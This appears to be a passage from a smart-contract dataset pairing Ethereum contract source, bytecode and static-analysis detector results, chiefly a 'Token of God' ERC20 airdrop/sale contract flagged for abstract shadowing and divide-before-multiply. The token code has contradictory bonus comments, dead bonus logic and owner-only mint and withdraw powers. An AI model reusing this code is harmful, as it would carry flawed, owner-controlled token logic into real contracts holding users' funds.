b8381101561138d578181015183820152602001611375565b50505050905090810190601f1680156113ba5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156113ed5781810151838201526020016113d5565b50505050905090810190601f16801561141a5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156114f25781810151838201526020016114da565b50505050905090810190601f16801561151f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561155257818101518382015260200161153a565b50505050905090810190601f16801561157f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b610e1081565b6212750081565b33301461160a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611a616031913960400191505060405180910390fd5b610e10811015611665576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061188c6034913960400191505060405180910390fd5b62278d008111156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806118c06038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561179d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a7231582062b3523bd2b24dee504005aacb8789653baf602ddd5e57c49f0e0c7f472797f964736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 8,790 |
0xda10a87dc078fc04f2871e317726447a0ea91cf4
|
pragma solidity ^0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Token_of_God is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Token of God";
string public constant symbol = "GOD";
uint public constant decimals = 8;
uint public deadline = now + 0 * 1 seconds; //Has been active since: 9:09 AM Sunday, November 1, 2020 Coordinated Universal Time (UTC)
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 10 * 1 days;
uint256 public totalSupply = 21000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 5 ether / 10; // 0.5 Ether
uint256 public tokensPerEth =2000e8; // Last updated price by admin
uint public target0drop = 21000000e8; //Airdrop = ( totalSupply tokens - Selfdrop - companyFund )
uint public progress0drop = 0;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 companyFund = 2100000e8; // 2,1 M Coin. Only 10 % of totalSupply
owner = msg.sender;
distr(owner, companyFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 100; // Send 1 ETH or more and get 10% more God tokens of round 1
uint256 bonusCond2 = 1 ether / 2; // Send 1 ETH or more and get 2% more God tokens of round 2
uint256 bonusCond3 = 1 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 0 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 2 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0.1e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610d50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d89565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f17565b005b3480156102c357600080fd5b506102cc610fce565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd4565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c6113aa565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd600480360381019080803590602001909291905050506113b0565b005b3480156103cb57600080fd5b506103d461147e565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b5061041560048036038101908080359060200190929190505050611483565b005b34801561042357600080fd5b5061042c61164f565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611655565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae61169e565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116aa565b005b34801561051d57600080fd5b50610526611714565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b5061055161171a565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c611720565b005b34801561058a57600080fd5b50610593611809565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b50610623611842565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b506106686004803603810190808035906020019092919050505061190a565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119a7565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be2565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c02565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c15565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d00565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d06565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d8d565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec611fd2565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b50610917611fd8565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fde565b005b34801561097c57600080fd5b506109b3600480360381019080803590602001908201803590602001919091929391929390803590602001909291905050506120b5565b005b600080600080600080600080600d60009054906101000a900460ff161515156109dd57600080fd5b600097506000965060009550662386f26fc1000094506706f05b59d3b200009350670de0b6b3a76400009250670de0b6b3a7640000610a2734600a5461216a90919063ffffffff16565b811515610a3057fe5b0497503391506706f05b59d3b200003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a99576064600a8902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460028902811515610abc57fe5b049550610ae1565b8234101515610ae057606460008902811515610adc57fe5b0495505b5b5b610b72565b6706f05b59d3b200003410158015610b00575060055442105b8015610b0d575060075442115b8015610b1a575060065442105b15610b6c57833410158015610b2e57508234105b15610b4a576064600a8902811515610b4257fe5b049550610b67565b8234101515610b6657606460028902811515610b6257fe5b0495505b5b610b71565b600095505b5b85880196506000881415610c865762989680905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610bea5750600b54600c5411155b15610c6957610bf982826121a2565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c81565b6706f05b59d3b200003410151515610c8057600080fd5b5b610d1d565b600088118015610c9e57506706f05b59d3b200003410155b15610d04576005544210158015610cb757506007544210155b8015610cc4575060065442105b15610cd957610cd382896121a2565b50610cff565b8434101515610cf257610cec82886121a2565b50610cfe565b610cfc82896121a2565b505b5b610d1c565b6706f05b59d3b200003410151515610d1b57600080fd5b5b5b600854600954101515610d46576001600d60006101000a81548160ff0219169083151502179055505b5050505050505050565b6040805190810160405280600c81526020017f546f6b656e206f6620476f64000000000000000000000000000000000000000081525081565b6000808214158015610e1857506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e265760009050610f11565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7557600080fd5b610f8a8260085461232e90919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b6000606060048101600036905010151515610feb57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561102757600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561107557600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561110057600080fd5b61115283600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122483600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60055481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140e57600080fd5b819050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611479573d6000803e3d6000fd5b505050565b600881565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114e157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561152f57600080fd5b33905061158482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115dc8260085461234a90919063ffffffff16565b6008819055506115f78260095461234a90919063ffffffff16565b6009819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60065481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6706f05b59d3b2000081565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561170657600080fd5b6117108282612363565b5050565b60075481565b600c5481565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177f57600080fd5b3091508173ffffffffffffffffffffffffffffffffffffffff16319050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611804573d6000803e3d6000fd5b505050565b6040805190810160405280600381526020017f474f44000000000000000000000000000000000000000000000000000000000081525081565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118a057600080fd5b600d60009054906101000a900460ff161515156118bc57600080fd5b6001600d60006101000a81548160ff0219169083151502179055507f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc60405160405180910390a16001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561196657600080fd5b80600a819055507ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c003816040518082815260200191505060405180910390a150565b60006040600481016000369050101515156119be57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156119fa57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311151515611a4857600080fd5b611a9a83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2f83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600d60009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611cb857600080fd5b505af1158015611ccc573d6000803e3d6000fd5b505050506040513d6020811015611ce257600080fd5b81019080805190602001909291905050509050809250505092915050565b600a5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dee57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611e8c57600080fd5b505af1158015611ea0573d6000803e3d6000fd5b505050506040513d6020811015611eb657600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f8e57600080fd5b505af1158015611fa2573d6000803e3d6000fd5b505050506040513d6020811015611fb857600080fd5b810190808051906020019092919050505092505050919050565b600b5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561203a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156120b25780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561211357600080fd5b600090505b8383905081101561216457612157848483818110151561213457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1683612363565b8080600101915050612118565b50505050565b60008083141561217d576000905061219c565b818302905081838281151561218e57fe5b0414151561219857fe5b8090505b92915050565b6000600d60009054906101000a900460ff161515156121c057600080fd5b6121d58260095461232e90919063ffffffff16565b60098190555061222d82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232e90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a77836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561234157fe5b80905092915050565b600082821115151561235857fe5b818303905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123bf57600080fd5b6000811115156123ce57600080fd5b6008546009541015156123e057600080fd5b61243281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248a8160095461232e90919063ffffffff16565b6009819055506008546009541015156124b9576001600d60006101000a81548160ff0219169083151502179055505b8173ffffffffffffffffffffffffffffffffffffffff167fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d27282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058208639d2eadc8bc31ffb951113c39431d217871b1c6611773ce7060454c3a0d2c00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,791 |
0x6Ed225EFbD0A387fFC7d31F9577c5c8b8B74C981
|
/**
*Submitted for verification at Etherscan.io on 2021-04-23
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.3;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
